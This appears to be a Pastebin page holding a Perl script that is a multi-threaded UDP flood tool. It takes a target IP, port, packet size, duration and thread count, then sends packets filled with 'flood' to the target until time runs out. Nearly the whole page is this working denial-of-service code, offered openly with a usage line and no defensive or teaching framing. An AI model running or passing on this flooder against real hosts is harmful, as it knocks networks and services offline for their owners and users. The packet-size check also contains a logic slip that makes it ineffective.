Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/env perl
- #Usage
- #./prog.pl --IP=127.0.0.1 --Port=2323 --PSize=10 --Secs=1 --Thread=3 --Verbose
- use warnings;
- use strict;
- use utf8;
- use autodie;
- use feature qw<say>;
- use Config;
- $Config{useithreads} || die "You need thread support for this to work";
- use Getopt::Long;
- use Regexp::Common qw<net>;
- use Socket;
- use threads;
- my $result = GetOptions (
- 'IP:s' => \my $ip,
- 'Port|P:i' => \my $port,
- 'PSize|PS:i' => \my $packSize,
- 'Secs|S:i' => \my $secs,
- 'Thread|T:i' => \my $threads,
- 'Verbose|V' => \my $verbose
- );
- do {say "Invalid IP: '$ip'"; exit(1)}
- unless $ip =~ /$RE{net}{IPv4}/;
- do {say "Invalid port: '$port'"; exit(2)}
- unless (($port < 65536) && ($port >= 0));
- do {say "Invalid packet size: '$packSize'"; exit(2)}
- unless (($packSize < 65500) || ($packSize > 0));
- do {say "Invalid secs: '$secs'"; exit(3)}
- unless $secs > 0;
- do {say "Invalid number of threads: '$threads'"; exit(4)}
- unless $threads > 0;
- warn "Number of threads '$threads' could be a problem"
- unless $threads < 35;
- say<<"StartMsg";
- |--------------------------------|
- -> Address: $ip
- -> Port: $port
- -> Packet Size: $packSize
- -> Seconds: $secs
- -> Number of threads: $threads
- -> Verbose: $verbose
- |--------------------------------|
- StartMsg
- print "Is this correct?(y/n)";
- do {say "Halting program!"; exit(5)} unless <STDIN> =~ /^y/;
- threads->create(
- sub{
- my ($ip, $port, $size, $time, $verbose) = @_;
- my $iaddr = inet_aton("$ip");
- my $endtime = time() + ($time ? $time : 1000000);
- socket(my $flood, PF_INET, SOCK_DGRAM, 17);
- while (time() <= $endtime){
- #say "end: $endtime time: ", time();
- my $psize = $size ? $size : int(rand(1024-64)+64) ;
- my $pport = $port ? $port : int(rand(65500))+1;
- send($flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
- if($verbose){
- print "Sent Packet: Size[$psize] Port[$pport]\n";
- }
- }
- }, $ip, $port, $packSize, $secs, $verbose)->join for (1..$threads);
- exit (0);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement